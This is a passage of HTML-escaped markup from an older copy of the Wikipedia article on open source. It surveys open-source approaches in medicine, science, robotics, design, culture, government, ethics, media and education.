Gutenberg"&gt;Project Gutenberg&lt;/a&gt;,&lt;sup class="reference" id="cite_ref-29"&gt;&lt;a href="http://en.wikipedia.org/wiki/Open_source#cite_note-29"&gt;&lt;span&gt;[&lt;/span&gt;30&lt;span&gt;]&lt;/span&gt;&lt;/a&gt;&lt;/sup&gt;  which posts many books on which the copyright has expired and are thus  in the &lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/Public_Domain" title="Public Domain"&gt;Public Domain&lt;/a&gt;, ensuring  that anyone can use that content for any purpose whatsoever.&lt;/li&gt;
&lt;/ul&gt;&lt;h3&gt;&lt;span class="editsection"&gt;[&lt;a href="http://en.wikipedia.org/w/index.php?title=Open_source&amp;amp;action=edit&amp;amp;section=9" title="Edit section: Health and science"&gt;edit&lt;/a&gt;]&lt;/span&gt; &lt;span class="mw-headline" id="Health_and_science"&gt;Health and science&lt;/span&gt;&lt;/h3&gt;&lt;a href="http://en.wikipedia.org/wiki/Medicine" title="Medicine"&gt;Medicine&lt;/a&gt;&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;&lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/Pharmaceutical" title="Pharmaceutical"&gt;Pharmaceuticals&lt;/a&gt; — There  have been several proposals for open-source &lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/Pharmaceutical" title="Pharmaceutical"&gt;pharmaceutical&lt;/a&gt;  development,&lt;sup class="reference" id="cite_ref-30"&gt;&lt;a href="http://en.wikipedia.org/wiki/Open_source#cite_note-30"&gt;&lt;span&gt;[&lt;/span&gt;31&lt;span&gt;]&lt;/span&gt;&lt;/a&gt;&lt;/sup&gt;&lt;sup class="reference" id="cite_ref-31"&gt;&lt;a href="http://en.wikipedia.org/wiki/Open_source#cite_note-31"&gt;&lt;span&gt;[&lt;/span&gt;32&lt;span&gt;]&lt;/span&gt;&lt;/a&gt;&lt;/sup&gt;  which led to the establishment of the &lt;a class="external text" href="http://www.tropicaldisease.org/" rel="nofollow"&gt;Tropical Disease Initiative&lt;/a&gt;. There are also a number  of not-for-profit "virtual pharmas" such as the &lt;a class="external text" href="http://www.iowh.org/" rel="nofollow"&gt;Institute  for One World Health&lt;/a&gt; and the &lt;a class="external text" href="http://www.dndi.org/" rel="nofollow"&gt;Drugs for Neglected Diseases  Initiative&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;&lt;a href="http://en.wikipedia.org/wiki/Science" title="Science"&gt;Science&lt;/a&gt;&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;&lt;a href="http://en.wikipedia.org/wiki/Research" title="Research"&gt;Research&lt;/a&gt;  — The &lt;a href="http://en.wikipedia.org/wiki/Science_Commons" title="Science Commons"&gt;Science Commons&lt;/a&gt; was created as an  alternative to the expensive legal costs of sharing and reusing  scientific works in journals etc.&lt;sup class="reference" id="cite_ref-32"&gt;&lt;a href="http://en.wikipedia.org/wiki/Open_source#cite_note-32"&gt;&lt;span&gt;[&lt;/span&gt;33&lt;span&gt;]&lt;/span&gt;&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://en.wikipedia.org/wiki/Research" title="Research"&gt;Research&lt;/a&gt;  — &lt;a href="http://en.wikipedia.org/wiki/The_Open_Source_Science_Project" title="The Open Source Science Project"&gt;The Open Source Science Project&lt;/a&gt;  was created to increase the ability for students to participate in the  research process by providing them access to microfunding — which, in  turn, offers non-researchers the opportunity to directly invest, and  follow, cutting-edge scientific research. All data and methodology is  subsequently published in an openly accessible manner under a Creative  Commons fair use license.&lt;/li&gt;
&lt;/ul&gt;&lt;div class="thumb tright"&gt; &lt;div class="thumbinner" style="width: 182px;"&gt;&lt;a class="image" href="http://en.wikipedia.org/wiki/File:MediaWiki-smaller-logo.png"&gt;&lt;img alt="" class="thumbimage" height="170" src="http://upload.wikimedia.org/wikipedia/commons/0/01/MediaWiki-smaller-logo.png" width="180" /&gt;&lt;/a&gt; &lt;div class="thumbcaption"&gt; &lt;div class="magnify"&gt;&lt;a class="internal" href="http://en.wikipedia.org/wiki/File:MediaWiki-smaller-logo.png" title="Enlarge"&gt;&lt;img alt="" height="11" src="http://bits.wikimedia.org/skins-1.5/common/images/magnify-clip.png" width="15" /&gt;&lt;/a&gt;&lt;/div&gt;MediaWiki logo&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;
&lt;h3&gt;&lt;span class="editsection"&gt;[&lt;a href="http://en.wikipedia.org/w/index.php?title=Open_source&amp;amp;action=edit&amp;amp;section=10" title="Edit section: Robotics"&gt;edit&lt;/a&gt;]&lt;/span&gt; &lt;span class="mw-headline" id="Robotics"&gt;Robotics&lt;/span&gt;&lt;/h3&gt;&lt;div class="rellink relarticle mainarticle"&gt;Main article: &lt;a href="http://en.wikipedia.org/wiki/Open-source_robotics" title="Open-source robotics"&gt;Open-source robotics&lt;/a&gt;&lt;/div&gt;An open-source robot is a robot whose blueprints, schematics, and/or  source code are released under an open source model.&lt;br /&gt;
&lt;h3&gt;&lt;span class="editsection"&gt;[&lt;a href="http://en.wikipedia.org/w/index.php?title=Open_source&amp;amp;action=edit&amp;amp;section=11" title="Edit section: Other"&gt;edit&lt;/a&gt;]&lt;/span&gt; &lt;span class="mw-headline" id="Other"&gt;Other&lt;/span&gt;&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;Open source principles can be applied to technical areas such as  digital communication protocols and data storage formats.&lt;/li&gt;
&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://en.wikipedia.org/wiki/Open_design" title="Open 
design"&gt;Open design&lt;/a&gt; — which involves applying open source  methodologies to the design of artifacts and systems in the physical  world. Very nascent but has huge potential.&lt;sup class="reference" id="cite_ref-33"&gt;&lt;a href="http://en.wikipedia.org/wiki/Open_source#cite_note-33"&gt;&lt;span&gt;[&lt;/span&gt;34&lt;span&gt;]&lt;/span&gt;&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;&lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/Open_source_appropriate_technology" title="Open source appropriate technology"&gt;Open  source appropriate technology&lt;/a&gt; (OSAT) refers to technologies that are  designed in the same fashion as &lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/Free_and_open-source_software" title="Free and open-source software"&gt;free and  open-source software&lt;/a&gt;. These technologies must be “&lt;a href="http://en.wikipedia.org/wiki/Appropriate_technology" title="Appropriate technology"&gt;appropriate technology&lt;/a&gt;” (AT) —  meaning technology that is designed with special consideration to the &lt;a href="http://en.wikipedia.org/wiki/Natural_environment" title="Natural 
environment"&gt;environmental&lt;/a&gt;, &lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/Ethical" title="Ethical"&gt;ethical&lt;/a&gt;, &lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/Cultural" title="Cultural"&gt;cultural&lt;/a&gt;, &lt;a href="http://en.wikipedia.org/wiki/Social" title="Social"&gt;social&lt;/a&gt;, &lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/Political" title="Political"&gt;political&lt;/a&gt;, and &lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/Economical" title="Economical"&gt;economical&lt;/a&gt; aspects of the community it is  intended for.&lt;/li&gt;
&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;&lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/Teaching" title="Teaching"&gt;Teaching&lt;/a&gt; — which involves applying the concepts  of open source to instruction using a shared web space as a platform to  improve upon learning, organizational, and management challenges. An  example of an Open Source Courseware is the Java Education &amp;amp;  Development Initiative (JEDI).&lt;sup class="reference" id="cite_ref-34"&gt;&lt;a href="http://en.wikipedia.org/wiki/Open_source#cite_note-34"&gt;&lt;span&gt;[&lt;/span&gt;35&lt;span&gt;]&lt;/span&gt;&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;There are few examples of business information (methodologies,  advice, guidance, practices) using the open source model, although this  is another case where the potential is enormous. &lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/ITIL" title="ITIL"&gt;ITIL&lt;/a&gt; is close to open source. It uses the  Cathedral model (no mechanism exists for user contribution) and the  content must be bought for a fee that is small by business consulting  standards (hundreds of British pounds). Various checklists are published  by government, banks or accounting firms. Possibly the only example of  free, bazaar-model open source business information is &lt;a class="external text" href="http://www.corepractice.org/" rel="nofollow"&gt;Core  Practice&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;&lt;h2&gt;&lt;span class="editsection"&gt;[&lt;a href="http://en.wikipedia.org/w/index.php?title=Open_source&amp;amp;action=edit&amp;amp;section=12" title="Edit section: Society and culture"&gt;edit&lt;/a&gt;]&lt;/span&gt; &lt;span class="mw-headline" id="Society_and_culture"&gt;Society and culture&lt;/span&gt;&lt;/h2&gt;&lt;table class="metadata plainlinks ambox ambox-style"&gt;&lt;tbody&gt;
&lt;tr&gt; &lt;td class="mbox-image"&gt; &lt;div style="width: 52px;"&gt;&lt;img alt="" height="40" src="http://upload.wikimedia.org/wikipedia/en/thumb/f/f2/Edit-clear.svg/40px-Edit-clear.svg.png" width="40" /&gt;&lt;/div&gt;&lt;/td&gt; &lt;td class="mbox-text"&gt;&lt;b&gt;This section overlaps with other  sections too much. It should be combined with the rest of the article.&lt;/b&gt;&lt;br /&gt;
&lt;small&gt;Please &lt;a class="external text" href="http://en.wikipedia.org/w/index.php?title=Open_source&amp;amp;action=edit" rel="nofollow"&gt;improve this article&lt;/a&gt; if you  can.&lt;/small&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;b&gt;Open source culture&lt;/b&gt; is the creative practice of appropriation  and free sharing of found and created content. Examples include &lt;a href="http://en.wikipedia.org/wiki/Collage" title="Collage"&gt;collage&lt;/a&gt;,  &lt;a href="http://en.wikipedia.org/wiki/Found_footage" title="Found 
footage"&gt;found footage&lt;/a&gt; film, &lt;a href="http://en.wikipedia.org/wiki/Music" title="Music"&gt;music&lt;/a&gt;, and &lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/Appropriation_art" title="Appropriation art"&gt;appropriation art&lt;/a&gt;.  Open source culture is one in which &lt;a href="http://en.wikipedia.org/wiki/Fixation" title="Fixation"&gt;fixations&lt;/a&gt;,  works entitled to copyright protection, are made generally available.  Participants in the culture can modify those products and redistribute  them back into the community or other organizations.&lt;br /&gt;
The rise of open-source culture in the 20th century resulted from a  growing tension between creative practices that involve appropriation,  and therefore require access to content that is often &lt;a href="http://en.wikipedia.org/wiki/Copyright" title="Copyright"&gt;copyrighted&lt;/a&gt;,  and increasingly restrictive intellectual property laws and policies  governing access to copyrighted content. The two main ways in which  intellectual property laws became more restrictive in the 20th century  were extensions to the term of copyright (particularly in the &lt;a href="http://en.wikipedia.org/wiki/United_States" title="United States"&gt;United  States&lt;/a&gt;) and penalties, such as those articulated in the &lt;a href="http://en.wikipedia.org/wiki/Digital_Millennium_Copyright_Act" title="Digital Millennium Copyright Act"&gt;Digital Millennium Copyright  Act&lt;/a&gt; (DMCA), placed on attempts to circumvent anti-piracy  technologies.&lt;sup class="reference" id="cite_ref-35"&gt;&lt;a href="http://en.wikipedia.org/wiki/Open_source#cite_note-35"&gt;&lt;span&gt;[&lt;/span&gt;36&lt;span&gt;]&lt;/span&gt;&lt;/a&gt;&lt;/sup&gt;&lt;br /&gt;
Although artistic appropriation is often permitted under &lt;a href="http://en.wikipedia.org/wiki/Fair_use" title="Fair use"&gt;fair use&lt;/a&gt;  doctrines, the complexity and ambiguity of these doctrines creates an  atmosphere of uncertainty among cultural practitioners. Also, the  protective actions of copyright owners create what some call a "&lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/Chilling_effect_%28term%29" title="Chilling effect (term)"&gt;chilling effect&lt;/a&gt;"  among cultural practitioners.&lt;sup class="reference" id="cite_ref-36"&gt;&lt;a href="http://en.wikipedia.org/wiki/Open_source#cite_note-36"&gt;&lt;span&gt;[&lt;/span&gt;37&lt;span&gt;]&lt;/span&gt;&lt;/a&gt;&lt;/sup&gt;&lt;br /&gt;
In the late 20th century, cultural practitioners began to adopt the  intellectual property licensing techniques of &lt;a href="http://en.wikipedia.org/wiki/Free_software" title="Free software"&gt;free  software&lt;/a&gt; and &lt;a href="http://en.wikipedia.org/wiki/Open-source_software" title="Open-source software"&gt;open-source software&lt;/a&gt; to make their work  more freely available to others, including the &lt;a href="http://en.wikipedia.org/wiki/Creative_Commons" title="Creative 
Commons"&gt;Creative Commons&lt;/a&gt;.&lt;br /&gt;
The idea of an "open source" culture runs parallel to "&lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/Free_Culture_movement" title="Free 
Culture movement"&gt;Free Culture&lt;/a&gt;," but is  substantively different. &lt;i&gt;Free culture&lt;/i&gt; is a term derived from the &lt;a href="http://en.wikipedia.org/wiki/Free_software_movement" title="Free 
software movement"&gt;free software movement&lt;/a&gt;, and in contrast to that  vision of culture, proponents of Open Source Culture (OSC) maintain that  some intellectual property law needs to exist to protect cultural  producers. Yet they propose a more nuanced position than corporations  have traditionally sought. Instead of seeing intellectual property law  as an expression of instrumental rules intended to uphold either natural  rights or desirable outcomes, an argument for OSC takes into account  diverse goods (as in "the Good life") and ends.&lt;br /&gt;
One way of achieving the goal of making the fixations of cultural  work generally available is to maximally utilize technology and &lt;a href="http://en.wikipedia.org/wiki/Digital_media" title="Digital media"&gt;digital  media&lt;/a&gt;. In keeping with &lt;a href="http://en.wikipedia.org/wiki/Moore%27s_law" title="Moore's law"&gt;Moore's  law&lt;/a&gt;'s prediction about processors, the cost of digital media and  storage plummeted in the late 20th Century. Consequently, the &lt;a href="http://en.wikipedia.org/wiki/Marginal_cost" title="Marginal cost"&gt;marginal  cost&lt;/a&gt; of digitally duplicating anything capable of being transmitted  via digital media dropped to near zero. Combined with an explosive  growth in &lt;a href="http://en.wikipedia.org/wiki/Personal_computer" title="Personal computer"&gt;personal computer&lt;/a&gt; and technology  ownership, the result is an increase in general population's access to  digital media. This phenomenon facilitated growth in open source culture  because it allowed for rapid and inexpensive duplication and  distribution of culture. Where the access to the majority of culture  produced prior to the advent of digital media was limited by other  constraints of proprietary and potentially "open" mediums, digital media  is the latest technology with the potential to increase access to  cultural products. Artists and users who choose to distribute their work  digitally face none of the physical limitations that traditional  cultural producers have been typically faced with. Accordingly, the  audience of an open source culture faces little physical cost in  acquiring digital media.&lt;br /&gt;
Open source culture precedes &lt;a href="http://en.wikipedia.org/wiki/Richard_Stallman" title="Richard 
Stallman"&gt;Richard Stallman&lt;/a&gt;'s codification of &lt;a href="http://en.wikipedia.org/wiki/Free_software" title="Free software"&gt;free  software&lt;/a&gt; with the creation of the &lt;a href="http://en.wikipedia.org/wiki/Free_Software_Foundation" title="Free
 Software Foundation"&gt;Free Software Foundation&lt;/a&gt;. As the public began  to communicate through &lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/Bulletin_Board_Systems" title="Bulletin Board Systems"&gt;Bulletin Board  Systems&lt;/a&gt; (BBS) like &lt;a href="http://en.wikipedia.org/wiki/FidoNet" title="FidoNet"&gt;FidoNet&lt;/a&gt;, places like Sourcery Systems BBS were  dedicated to providing source code to &lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/Public_Domain" title="Public Domain"&gt;Public Domain&lt;/a&gt;, &lt;a href="http://en.wikipedia.org/wiki/Shareware" title="Shareware"&gt;Shareware&lt;/a&gt;  and &lt;a href="http://en.wikipedia.org/wiki/Freeware" title="Freeware"&gt;Freeware&lt;/a&gt;  programs.&lt;br /&gt;
Essentially born out of a desire for increased general access to  digital media, &lt;a href="http://en.wikipedia.org/wiki/Internet" title="Internet"&gt;the Internet&lt;/a&gt; is open source culture's most valuable  asset. It is questionable whether the goals of an open source culture  could be achieved without the Internet. The global network not only  fosters an environment where culture can be generally accessible, but  also allows for easy and inexpensive redistribution of culture back into  various communities. Some reasons for this are as follows.&lt;br /&gt;
First, the Internet allows even greater access to inexpensive digital  media and storage. Instead of users being limited to their own  facilities and resources, they are granted access to a vast network of  facilities and resources, some free. Sites such as &lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/Archive.org" title="Archive.org"&gt;Archive.org&lt;/a&gt; offer up free web space for anyone  willing to license their work under a &lt;a href="http://en.wikipedia.org/wiki/Creative_Commons" title="Creative 
Commons"&gt;Creative Commons&lt;/a&gt; license. The resulting cultural product is  then available to download free (generally accessible) to anyone with  an Internet connection.&lt;br /&gt;
Second, users are granted unprecedented access to each other. Older  analog technologies such as the &lt;a href="http://en.wikipedia.org/wiki/Telephone" title="Telephone"&gt;telephone&lt;/a&gt;  or &lt;a href="http://en.wikipedia.org/wiki/Television" title="Television"&gt;television&lt;/a&gt;  have limitations on the kind of interaction users can have. In the case  of television there is little, if any interaction between users  participating on the network. And in the case of the telephone, users  rarely interact with any more than a couple of their known peers. On the  Internet, however, users have the potential to access and meet millions  of their peers. This aspect of the Internet facilitates the  modification of culture as users are able to collaborate and communicate  with each other across international and cultural boundaries. The speed  in which digital media travels on the Internet in turn facilitates the  redistribution of culture.&lt;br /&gt;
Through various technologies such as &lt;a href="http://en.wikipedia.org/wiki/Peer-to-peer" title="Peer-to-peer"&gt;peer-to-peer&lt;/a&gt;  networks and &lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/Blogs" title="Blogs"&gt;blogs&lt;/a&gt;, cultural producers can take advantage of  vast &lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/Social_networks" title="Social networks"&gt;social networks&lt;/a&gt; in order  to distribute their products. As opposed to traditional media  distribution, redistributing digital media on the Internet can be  virtually costless. Technologies such as &lt;a href="http://en.wikipedia.org/wiki/BitTorrent_%28protocol%29" title="BitTorrent (protocol)"&gt;BitTorrent&lt;/a&gt; and &lt;a href="http://en.wikipedia.org/wiki/Gnutella" title="Gnutella"&gt;Gnutella&lt;/a&gt;  take advantage of various characteristics of the Internet protocol (&lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/TCP/IP" title="TCP/IP"&gt;TCP/IP&lt;/a&gt;) in an attempt to totally decentralize  file distribution.&lt;br /&gt;
&lt;h3&gt;&lt;span class="editsection"&gt;[&lt;a href="http://en.wikipedia.org/w/index.php?title=Open_source&amp;amp;action=edit&amp;amp;section=13" title="Edit section: Government"&gt;edit&lt;/a&gt;]&lt;/span&gt; &lt;span class="mw-headline" id="Government"&gt;Government&lt;/span&gt;&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/Open_politics" title="Open 
politics"&gt;Open politics&lt;/a&gt; (sometimes known as &lt;i&gt;Open  source politics&lt;/i&gt;) — is a term used to describe a political process  that uses Internet technologies such as blogs, email and polling to  provide for a rapid feedback mechanism between political organizations  and their supporters. There is also an alternative conception of the  term &lt;i&gt;Open source politics&lt;/i&gt; which relates to the development of  public policy under a set of rules and processes similar to the Open  Source Software movement.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://en.wikipedia.org/wiki/Open_source_governance" title="Open source governance"&gt;Open source governance&lt;/a&gt; — is similar  to open source politics, but it applies more to the democratic process  and promotes the freedom of information.&lt;/li&gt;
&lt;/ul&gt;&lt;h3&gt;&lt;span class="editsection"&gt;[&lt;a href="http://en.wikipedia.org/w/index.php?title=Open_source&amp;amp;action=edit&amp;amp;section=14" title="Edit section: Ethics"&gt;edit&lt;/a&gt;]&lt;/span&gt; &lt;span class="mw-headline" id="Ethics"&gt;Ethics&lt;/span&gt;&lt;/h3&gt;Open Source ethics is split into two strands:&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;Open Source Ethics as an Ethical School — Charles Ess and David  Berry are researching whether ethics can learn anything from an open  source approach. Ess famously even defined the AoIR Research Guidelines  as an example of open source ethics.&lt;sup class="reference" id="cite_ref-37"&gt;&lt;a href="http://en.wikipedia.org/wiki/Open_source#cite_note-37"&gt;&lt;span&gt;[&lt;/span&gt;38&lt;span&gt;]&lt;/span&gt;&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;
&lt;li&gt;Open Source Ethics as a Professional Body of Rules — This is based  principally on the computer ethics school, studying the questions of  ethics and professionalism in the computer industry in general and  software development in particular.&lt;sup class="reference" id="cite_ref-38"&gt;&lt;a href="http://en.wikipedia.org/wiki/Open_source#cite_note-38"&gt;&lt;span&gt;[&lt;/span&gt;39&lt;span&gt;]&lt;/span&gt;&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;h3&gt;&lt;span class="editsection"&gt;[&lt;a href="http://en.wikipedia.org/w/index.php?title=Open_source&amp;amp;action=edit&amp;amp;section=15" title="Edit section: Media"&gt;edit&lt;/a&gt;]&lt;/span&gt; &lt;span class="mw-headline" id="Media"&gt;Media&lt;/span&gt;&lt;/h3&gt;&lt;a href="http://en.wikipedia.org/wiki/Open_source_journalism" title="Open source journalism"&gt;Open source journalism&lt;/a&gt; — referred to  the standard journalistic techniques of news gathering and fact  checking, and reflected a similar term that was in use from 1992 in  military intelligence circles, &lt;a href="http://en.wikipedia.org/wiki/Open_source_intelligence" title="Open
 source intelligence"&gt;open source intelligence&lt;/a&gt;. It is now commonly  used to describe forms of innovative publishing of &lt;a href="http://en.wikipedia.org/wiki/Online_journalism" title="Online 
journalism"&gt;online journalism&lt;/a&gt;, rather than the sourcing of news  stories by a professional journalist. In the December 25, 2006 issue of  TIME magazine this is referred to as &lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/User_generated_content" title="User 
generated content"&gt;user created content&lt;/a&gt; and  listed alongside more traditional open source projects such as &lt;a href="http://en.wikipedia.org/wiki/OpenSolaris" title="OpenSolaris"&gt;OpenSolaris&lt;/a&gt;  and &lt;a href="http://en.wikipedia.org/wiki/Linux" title="Linux"&gt;Linux&lt;/a&gt;.&lt;br /&gt;
&lt;a href="http://en.wikipedia.org/wiki/Blog" title="Blog"&gt;Weblogs&lt;/a&gt;,  or blogs, are another significant platform for open source culture.  Blogs consist of periodic, reverse chronologically ordered posts, using a  technology that makes webpages easily updatable with no understanding  of design, code, or &lt;a href="http://en.wikipedia.org/wiki/File_transfer" title="File transfer"&gt;file transfer&lt;/a&gt; required. While corporations,  political campaigns and other formal institutions have begun using these  tools to distribute information, many blogs are used by individuals for  personal expression, political organizing, and socializing. Some, such  as &lt;a href="http://en.wikipedia.org/wiki/LiveJournal" title="LiveJournal"&gt;LiveJournal&lt;/a&gt; or &lt;a href="http://en.wikipedia.org/wiki/WordPress" title="WordPress"&gt;WordPress&lt;/a&gt;,  utilize open source software that is open to the public and can be  modified by users to fit their own tastes. Whether the code is open or  not, this format represents a nimble tool for people to borrow and  re-present culture; whereas traditional websites made the illegal  reproduction of culture difficult to regulate, the mutability of blogs  makes "open sourcing" even more uncontrollable since it allows a larger  portion of the population to replicate material more quickly in the  public sphere.&lt;br /&gt;
&lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/Messageboards" title="Messageboards"&gt;Messageboards&lt;/a&gt; are another  platform for open source culture. Messageboards (also known as  discussion boards or forums), are places online where people with  similar interests can congregate and post messages for the community to  read and respond to. Messageboards sometimes have moderators who enforce  community standards of etiquette such as banning users who are &lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/Spamming" title="Spamming"&gt;spammers&lt;/a&gt;. Other common board features are  private messages (where users can send messages to one another) as well  as chat (a way to have a real time conversation online) and image  uploading. Some messageboards use &lt;a href="http://en.wikipedia.org/wiki/PhpBB" title="PhpBB"&gt;phpBB&lt;/a&gt;, which  is a free open source package. Where blogs are more about individual  expression and tend to revolve around their authors, messageboards are  about creating a conversation amongst its users where information can be  shared freely and quickly. Messageboards are a way to remove  intermediaries from everyday life — for instance, instead of relying on  commercials and other forms of advertising, one can ask other users for  frank reviews of a product, movie or CD. By removing the cultural  middlemen, messageboards help speed the flow of information and exchange  of ideas.&lt;br /&gt;
&lt;a href="http://en.wikipedia.org/wiki/OpenDocument" title="OpenDocument"&gt;OpenDocument&lt;/a&gt; is an &lt;a href="http://en.wikipedia.org/wiki/Open_format" title="Open format"&gt;open&lt;/a&gt;  &lt;a href="http://en.wikipedia.org/wiki/Document_file_format" title="Document file format"&gt;document file format&lt;/a&gt; for saving and  exchanging editable office documents such as text documents (including  memos, reports, and books), &lt;a href="http://en.wikipedia.org/wiki/Spreadsheet" title="Spreadsheet"&gt;spreadsheets&lt;/a&gt;,  charts, and presentations. Organizations and individuals that store  their data in an open format such as OpenDocument avoid being &lt;a href="http://en.wikipedia.org/wiki/Vendor_lock-in" title="Vendor 
lock-in"&gt;locked in&lt;/a&gt; to a single software vendor, leaving them free to  switch software if their current vendor goes out of business, raises  their prices, changes their software, or changes their &lt;a href="http://en.wikipedia.org/wiki/Software_license" title="Software 
license"&gt;licensing&lt;/a&gt; terms to something less favorable.&lt;br /&gt;
&lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/Open_source_movie_production" title="Open source movie production"&gt;Open source  movie production&lt;/a&gt; is either an open call system in which a changing  crew and cast collaborate in movie production, a system in which the end  result is made available for re-use by others or in which exclusively  open source products are used in the production. The 2006 movie &lt;a href="http://en.wikipedia.org/wiki/Elephants_Dream" title="Elephants 
Dream"&gt;Elephants Dream&lt;/a&gt; is said to be the "world's first open movie",&lt;sup class="reference" id="cite_ref-39"&gt;&lt;a href="http://en.wikipedia.org/wiki/Open_source#cite_note-39"&gt;&lt;span&gt;[&lt;/span&gt;40&lt;span&gt;]&lt;/span&gt;&lt;/a&gt;&lt;/sup&gt;  created entirely using &lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/Open_source_technology" title="Open 
source technology"&gt;open source technology&lt;/a&gt;.&lt;br /&gt;
An open source documentary film has a production process allowing the  open contributions of archival material, &lt;a href="http://en.wikipedia.org/wiki/Footage" title="Footage"&gt;footage&lt;/a&gt;,  and other filmic elements, both in unedited and edited form. By doing  so, on-line contributors become part of the process of creating the  film, helping to influence the editorial and visual material to be used  in the documentary, as well as its thematic development. The first open  source documentary film to go into production &lt;a class="external 
text" href="http://www.lcmedia.com/americanrevolution.pdf" rel="nofollow"&gt;"The American Revolution"&lt;/a&gt;,&lt;sup class="reference" id="cite_ref-40"&gt;&lt;a href="http://en.wikipedia.org/wiki/Open_source#cite_note-40"&gt;&lt;span&gt;[&lt;/span&gt;41&lt;span&gt;]&lt;/span&gt;&lt;/a&gt;&lt;/sup&gt;"  which will examine the role that WBCN-FM in Boston played in the  cultural, social and political changes locally and nationally from 1968  to 1974, is being produced by Lichtenstein Creative Media and the  non-profit The Fund for Independent Media. &lt;a class="external text" href="http://www.opensourcecinema.org/" rel="nofollow"&gt;Open Source Cinema&lt;/a&gt; is a website to create Basement  Tapes, a feature documentary about copyright in the digital age,  co-produced by the &lt;a class="external text" href="http://www.nfb.ca/" rel="nofollow"&gt;National Film Board of Canada&lt;/a&gt;. &lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/Open_Source_Filmmaking" title="Open 
Source Filmmaking"&gt;Open Source Filmmaking&lt;/a&gt; refers  to a form of filmmaking that takes a method of idea formation from open  source software, but in this case the 'source' for a film maker is raw  unedited footage rather than programming code. It can also refer to a  method of filmmaking where the process of creation is 'open' i.e. a  disparate group of contributors, at different times contribute to the  final piece.&lt;br /&gt;
&lt;a class="new" href="http://en.wikipedia.org/w/index.php?title=Open-IPTV&amp;amp;action=edit&amp;amp;redlink=1" title="Open-IPTV (page does not exist)"&gt;Open-IPTV&lt;/a&gt; is &lt;a href="http://en.wikipedia.org/wiki/IPTV" title="IPTV"&gt;IPTV&lt;/a&gt; that is  not limited to one recording studio, production studio, or cast. &lt;a class="new" href="http://en.wikipedia.org/w/index.php?title=Open-IPTV&amp;amp;action=edit&amp;amp;redlink=1" title="Open-IPTV (page does not exist)"&gt;Open-IPTV&lt;/a&gt; uses  the Internet or other means to pool efforts and resources together to  create an online community that all contributes to a show.&lt;br /&gt;
&lt;h3&gt;&lt;span class="editsection"&gt;[&lt;a href="http://en.wikipedia.org/w/index.php?title=Open_source&amp;amp;action=edit&amp;amp;section=16" title="Edit section: Education"&gt;edit&lt;/a&gt;]&lt;/span&gt; &lt;span class="mw-headline" id="Education"&gt;Education&lt;/span&gt;&lt;/h3&gt;Within the academic community, there is discussion about expanding  what could be called the "intellectual commons" (analogous to the &lt;a href="http://en.wikipedia.org/wiki/Creative_Commons" title="Creative 
Commons"&gt;Creative Commons&lt;/a&gt;). Proponents of this view have hailed the &lt;a href="http://en.wikipedia.org/wiki/Connexions" title="Connexions"&gt;Connexions&lt;/a&gt;  Project at &lt;a href="http://en.wikipedia.org/wiki/Rice_University" title="Rice University"&gt;Rice University&lt;/a&gt;, &lt;a href="http://en.wikipedia.org/wiki/MIT_OpenCourseWare" title="MIT 
OpenCourseWare"&gt;OpenCourseWare&lt;/a&gt; project at &lt;a href="http://en.wikipedia.org/wiki/Massachusetts_Institute_of_Technology" title="Massachusetts Institute of Technology"&gt;MIT&lt;/a&gt;, &lt;a class="new" href="http://en.wikipedia.org/w/index.php?title=Eugene_Thacker&amp;amp;action=edit&amp;amp;redlink=1" title="Eugene Thacker (page does not exist)"&gt;Eugene Thacker&lt;/a&gt;'s  article on "&lt;a class="new" href="http://en.wikipedia.org/w/index.php?title=Open_Source_DNA&amp;amp;action=edit&amp;amp;redlink=1" title="Open Source DNA (page does not exist)"&gt;Open Source  DNA&lt;/a&gt;", the "Open Source Cultural Database" and &lt;a href="http://en.wikipedia.org/wiki/Wikipedia" title="Wikipedia"&gt;Wikipedia&lt;/a&gt;  as examples of applying open source outside the realm of computer  software.&lt;br /&gt;
